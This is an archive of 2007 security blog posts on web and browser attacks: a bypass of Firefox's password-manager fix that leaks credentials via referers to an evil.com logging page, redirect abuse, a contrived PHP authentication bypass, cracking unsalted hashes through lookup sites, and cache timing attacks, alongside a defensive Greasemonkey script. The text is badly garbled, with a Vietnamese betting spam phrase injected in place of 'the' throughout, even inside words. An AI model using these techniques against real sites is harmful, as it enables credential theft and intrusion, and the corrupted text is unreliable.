Monday, February 26, 2007

stopgetpass.user.js - an interim solution

A couple of days ago I posted a method of breaking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RSCR Fix Mozilla implemented in Firefox. Today, I want to post an interim fix for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form of a Greasemonkey script:

for (i=0,c=document.forms.length;i
    if (document.forms[i].method == 'get') {
        var password = false;
        for (l=0,k=document.forms[i].elements.length;l
            if (document.forms[i].elements[l].type == 'password') {
                password = true;
            }
        }
        if (password == true) {
            document.forms[i].method = "post"
        }
    }
}


Essentially it just loops through all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms on a page and sets cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 method on all forms with password fields to post. So while this will stop you from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack I described, it will most likely break sites, so once a patch comes out of Mozilla (which I honestly hope it will, because ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir efforts on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous patch will be in vain), this will need to be removed.

Also, since this script is extracting method and type values from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DOM, it doesn't have to worry about case, obfuscation, etc, so it should not be vulnerable to any obfuscation of eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 type or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 method properties.

I'm sure you all know how to install Greasemonkey scripts,so I'm not going to bocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r explaining how to here, because for those who don't cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's always Google.

P.S. 50th Post! Hurray, I've managed to actually stay interested in something for an extended period of time. I'm sure that some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 posts were completely disinteresting to people, but I hope that some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m weren't.

More Aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated Redirect Abuse

A while ago I wrote two posts entitled Detecting Logged In Users and More Logged In User Detection via Aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated Redirects.

Today I want to expand a bit more on how Aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated redirects can be abused.

I want to talk about how you can abuse aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated redirects which only redirect to certain domains (i.e. not yours), and not get stopped by extensions such as SafeHistory and SafeCache.

If we can redirect to any resource on a server it is quite reasonable to assume that we can redirect to eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r an image or a piece of javascript.

First of all, lets say our redirection script that exists on http://target.com/redir.php looks like this: (Ignore cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that if it was an old version of PHP it would be vulnerable to response splitting, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that parse_url doesn't validate URLs);


session_start();

if ($_SESSION['logged_in'] == true) {
    if ( is_string($_GET['r']) ) {
        $url_array = parse_url ($_GET['r']);
        if ($url_array['host'] == $_SERVER['SERVER_NAME']) {
            header ("Location: " . $_GET['r']);
            die();
        }
    }
}

header ("Location: http://" . $_SERVER['SERVER_NAME'] . "/index.php");

?>


Knowing that we can redirect to any resource on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server we can create something like cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following:







We could also redirect to javascript objects and overwrite cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 functions it calls,so that we know when it executes, but that's a whole lot more work.

Also, one ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r thing I failed to mention in eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two previous posts, is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 technique I described in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m can be used in any situation where something is loaded into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 history, which includes iframes, popups, etc - but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are of course much less common.

Saturday, February 24, 2007

Fixing IE Content-Type Detection Issues: Output Filtering Instead Of Input Validation

[EDIT](25/02/07): It seems that this method doesn't completely work, so please read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comments to find more info, because ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise this isn't going to do you any good.

There's been a bit of discussion over a sla.ckers.org about injecting Javascript into uploaded image files, and having IE detect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content type as text/html racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content-type sent by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server. For anyone who isn't familiar with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue I recommend you read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following post: http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting Not because its cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first mention of it, but its cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best and most technical description I've seen.

Anyway; to take a leaf out of Sylvan von Stuppe's book, I'd like to recommend a way to do (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 equivalent of) output filtering, racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than input validation to stop this issue.

First of all, lets take a look at why we would ever do input validation to stop XSS attacks. The only reason we have ever had to do input validation is to stop people inputting Javascript, but allowing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to input html.

In all ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r situations where we don't need to allow certain html, we can simply encode all output in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 appropriate char set, and we're safe.

And cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no reason we would ever need to allow users to upload images which get interpreted as html files, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365refore served as such.

So, having established (at least in my view), that output filtering is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way to go; how would we go about doing this without altering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 image?

Well, in this case its easy enough; all we need to do is use a header that IE does respect; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Content-Disposition header. And possibly also a Content-Type header of application/octet-stream or we may not, depending on how paranoid we are, and how much we want to (possibly) break things.

There are several way to do this.

On Apache, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best solution is to use mod_headers to send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 header for all files in a particular directory, and move all your uploads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re.

Microsoft provides an explanation of how you can achieve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same on IIS here: http://support.microsoft.com/kb/q260519/

You can of course, also set PHP or any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r server side language as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handler for all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 files in a directory, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 header() (or similar) function to send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Content-Disposition header tot he browser.

Of course, this might be annoying if a user does something like right click on an image and click view image, but this is a minor inconvenience IMO.

Breaking Firefox's RCSR Fix

In Firefox 2.0.0.2, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 developers have done a lot of good in regards to helping prevent XSS and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r attacks against cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client; you can read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whole advisory here: http://www.mozilla.org/security/announce/2007/mfsa2007-02.html

And while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir fix for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RCSR issue is good, its not perfect.

As everyone (including people commenting on mozilla's bug tracker) noticed, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no real way to prevent this if an attacker can execute Javascript on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain, because he can simply inject an iframe which has an src attribute set to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user normally logs in on, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n simply change its contents to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password.

Anyway; this fix attempts to solve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue of an attacker being able to abuse cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password manager if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker can inject html, but not Javascript. And so, that is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 constraints within which we need to break cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fix.

Lets assume we have a html injection issue in a page called http://site.com/vuln.php in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GET parameter search; i.e. http://site.com/vuln.php?search= would inject an image into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page.

What we can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n do is inject a form into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page which looks like this:


    
    
    
    


Then if we get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user to submit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 referers sent to http://evil.com/log.php will have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 username and password in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m.

Of course, our form would have to have an input field which is an image which is transparent but covers cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whole browser window, which would submit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form for us, or similar so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form is submitted but that issue has already been solved, and I wanted to keep cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 example clean.

On Disclosure

Firstly, just so that you understand my bias, my view on this topic is as follows:


  • I don't care how unethical disclosure is; if it interests me, and possibly ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs I'll post it.

  • I have no responsibility to give a vendor who has written insecure software time to fix cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir flaws - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y've had time ever since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y started writing it.

  • I also have no responsibility to contact cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m about any issues eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r.

  • I have no need to justify my position to anyone, and it won't change unless I get paid for it to change.



Anyway; Sid wrote a post on blogs.securiteam.com about how an ISP had backdoored its customers routers to make administration easier, entitled Accidental backdoor by ISP, which generated a bit of heat from some people, especially Cd-MaN.

He goes on about how Sid's post was unethical because didn't help anyone by mentioning which ISP it was, and saying which subnet cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y owned and what cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passwords were, ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than people who would want to attack cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ISP.

Now, arguing on in cd-man's terms, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are people it helps. It helps anyone who wants to do some furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r investigation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue. It helps anyone who has an account with that ISP to secure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365mselves; I see no reason why it has to be disclosed in such a way that it would reach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 majority of affected users, its not our responsibility to fix ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r people's mistakes; and never should be.

It also helps raise awareness of an issue which hasn't got much (if any) air time before. Because if you read any of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SpeedTouch manuals you will notice that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y have a default remote administrator account, which most users never know about. Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rmore I'm willing to bet on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that most ISPs who use SpeedTouch routers will all have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same remote admin passwords.

And it really doesn't help anyone to say thing like (http://hype-free.blogspot.com/2007/02/full-disclosure-gone-bad.html)
But this recent post on security team screams of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 "I'm 1337, I can use nmap, I rooted 14716 computers" sentiment.

Because all it does is spread cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FUD. If cd-man had bocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365red reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post carefully he would have noticed that all I did was run an nmap scan to determine how many of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hosts were running telnet in that subnet. I think cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number is higher than 14716 though, because my wireless network is dodgy and prone to giving out halfway through something, and considering that that scan took hours (unattended), I wouldn't be surprised if it had missed whole chunks.

Oh and he also says:
How does disclosing this flaw with such detail (like subnet addresses and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ISP name) help anyone? The story would have been just as interesting would he left those details out.

I have no real argument her, but I see nothing interesting in someone posting that some ISP somewhere has used cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same remote admin password on all its routers. But that's not exactly something we can argue about, since that's just like arguing which tv show is better.

Tuesday, February 20, 2007

Gotcha!: A PHP Oddity (with contrived security implications)

A while ago, I was look over some code a friend of mine (who doesn't write much PHP) had written, which 'worked', but really shouldn't have.

It looked something like this:

if (strpos ($string, "needle") == "needle") {
    print "Is Valid";
}


And if you know PHP, you'll know that strpos always returns an integer or Boolean false (i.e. it should never return a string), so how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hell could this work?

Well, skipping my usual anecdote; it turns out that PHP casts string to integers when doing comparisons between strings and integers (not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r way around as I would have expected), and so "needle" got cast to an integer, and it was equal to 0. (And since strpos was returning 0 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 above code worked).

(21/02/07): I realise that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re should never be a double dollar vulnerability anywhere in your code, but mistakes are made, this is just what I thought was a curiosity which would interest people; clearly I was wrong. Also, while this uses a double dollar vuln, it is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only way I could come up with to get a string to be compared to an integer (racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than a decimal string) you control.


Now, for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 very contrived security issue:


$aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated = 0;
session_start();

if (isset($_SESSION['password'])) {
    if ($_SESSION['password'] == "password removed from backup") {
        $aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated = 1;
    }
} elseif (isset ($_GET['password'])) {
    if ($$_GET['password'] == "password removed from backup") {
        $aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated = 1;
    }
}

if ($aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated == 1) {
    print "You Win!";
} else {
    print "You Fail!";
}

?>


You'll see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code above has a double dollar vulnerability; which would be unexploitable in this scenario because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password string is not stored in a variable; but racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r is hard coded. But since; at this point, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 variable $aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated is equal to zero, we can have $_GET['password'] equal to "aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated", and $$_GET['password'] is equal to zero, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comparison works.

Note: The double dollar vuln is needed racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than just passing 0 to a normal comparison because all variables sent through http are strings.

Note2: It doesn't matter in what order cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 arguments are typed in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comparison, i.e. cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following would also be vulnerable:
if ("password removed from backup" == $$_GET['password']) {

Monday, February 19, 2007

You call that a game? This is a......

Firstly; sorry for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lack of updates, I've really been too busy to come up with anything interesting to write, and haven't found anything particularly interesting to write about.

Now, onto cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bad title. I found cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following "game" on digg: http://crackquest.ultramuffin.com/index.php and decided to see exactly how effective cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sha-1 rainbowtables I had found were.

Now, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first thing I tried was using http://www.shalookup.com/ since you can crack up to 50 hashes at a time (50 because that is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 limit per IP). So I ran cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 list of hashes against shalookup.com (using a proxy for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second 50) and got quite good results; I think that at least 50 (I wasn't counting) of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hashes I cracked came from shalookup.com.

After this I ran cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remaining hashes against http://www.hashreverse.com/ and http://md5.rednoize.com/ and was able to crack a furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r 20 hashes.

I tried running cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remaining 30 against http://www.md5encryption.com/, but got no results (which doesn't really say anything since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only ones left were cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ones no-one else could get), and I got interrupted while running cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hashes against http://hashcrack.905tech.com/cracker.php, which during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time I was away went down, and I don't have an account on http://rainbowcrack.com/ (if anyone does, I'd really appreciate it if you got in contact with me), and http://passcrack.spb.ru/ seems to be down for maintenance.

So while this little anecdote can't testify to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 usefulness of any single site (ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than shalookup.com), it clearly illustrates that it doesn't matter what hashing algorithm you use if you do not salt cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data first, and your users use poor passwords. But we already knew that, so *shrug*.

Tuesday, February 13, 2007

Attacking Aspect Security's PDF UXSS Filter

While this is not really much of an issue any more because Adobe have released and update and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re isn't really much to say, I'd like to revisit it for a momment.

There were a lot of people (myself included) who had considered cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PDF UXSS issue unsolvable at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server-side level; how wrong we were: http://www.owasp.org/index.php/PDF_Attack_Filter_for_Java_EE

I have no real analysis of it because, as far as I can tell, its bullet proof. or at least it would be if browser security didn't have fist-size holes in it. From a black box perspective where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no information leakage; that fix is great.

But sadly, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are ways to simply obtain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data. Using an Anti-DNS Pinning attack, it should not be a problem to simply send a request to that IP with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 appropriate Host header, etc, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n parse out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link and simply redirect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user. I'm not going to bocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r providing any code, because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's really nothing new here, just anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r misfortune.

So a very good idea, is practically useless, simply because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rest of our security model is shot to bits.

A Better Web Cache Timing Attack

I've been thinking on whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r I should bocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r writing an actual paper on this or not, but when I found that Princeton had already written a pretty decent paper on Web Cache timing attacks back in 2000, which you can find here: http://www.cs.princeton.edu/sip/pub/webtiming.pdf I decided against it.

If you read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 paper you will see that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack relies on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user of two images to determine if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 images are cached by determining if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a dramatic change in loading times between getting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 timing for one image, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n loading a page which caches both images, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n getting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 timing for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second image. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a significant difference, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first image had not been cached, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y had cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365refore not visited cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page; whereas if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was no significant difference cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 image was already cached, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365refore cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page had been viewed before.

Now, this suffers from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that you do actually need two images which are ONLY displayed togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r, because ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise your results will be erroneous, and not only that; but it requires that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 images are approximately cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same size so that your inferences about cache state are accurate.

A much better solution is to be able to determine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time it takes to retrieve a cached and non-cached version of an image by supplying request parameters, e.g. http://www.example.com/image?test=123456

The first thing we do is generate a random request string, and make a request for that image, and we now have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 approximate time it should take to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 image when it is not cached, and we cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n make a second request to see how long cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 image takes to load when it is cached, and by generating a large amount of query strings to test we can get more accurate amounts.

We cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n make a request for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 image without any request parameters and see which averaged value it is closer to, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n determine cache state.

This benefits from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that not only does cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re only need to be one image, and we can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365refore find a page with a large photo or similar to give us a greater margin for error, but we also do not need to find a page with two images of equal size because we will always be making requests for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same size image.

Sadly not quite as effective as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack against cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SafeCache extension, but that's why its a timing attack I guess, :)

Saturday, February 10, 2007

Attacking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SafeCache Firefox Extension

Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain for his blog, so I'm moving all my content here:

The SafeCache extension is yet anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r good idea in browser security to come out of Stanford University. Essentially it extends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser same origin policy to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser cache to defend against cache timing attacks. You can find more info about it here: http://www.safecache.com/

Now while I have not looked at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extension, I have devised a method for not only being able to perform timing attacks, but to be able to directly determine whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r or not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 objects you are trying to find info about are in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cache or not.

It seems that if you create an iframe element where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 src attribute points to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resource whose cache state you want to query, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 onload event will fire only if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 item is not in any cache.

To test this eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r login to Gmail, or go to http://mail.google.com/mail/help/images/logo.gif and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n create a page like cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following:









And you will notice that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 onload element does not fire. Then if you press Ctrl+Shift+Del and delete cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cache, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n visit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html page you just created again, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 onload event will fire.

If you refresh cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 onload event will not fire a second time because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 image is already in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cache.

So while it stops standard cache timing attacks, it does not stop attacks against itself.

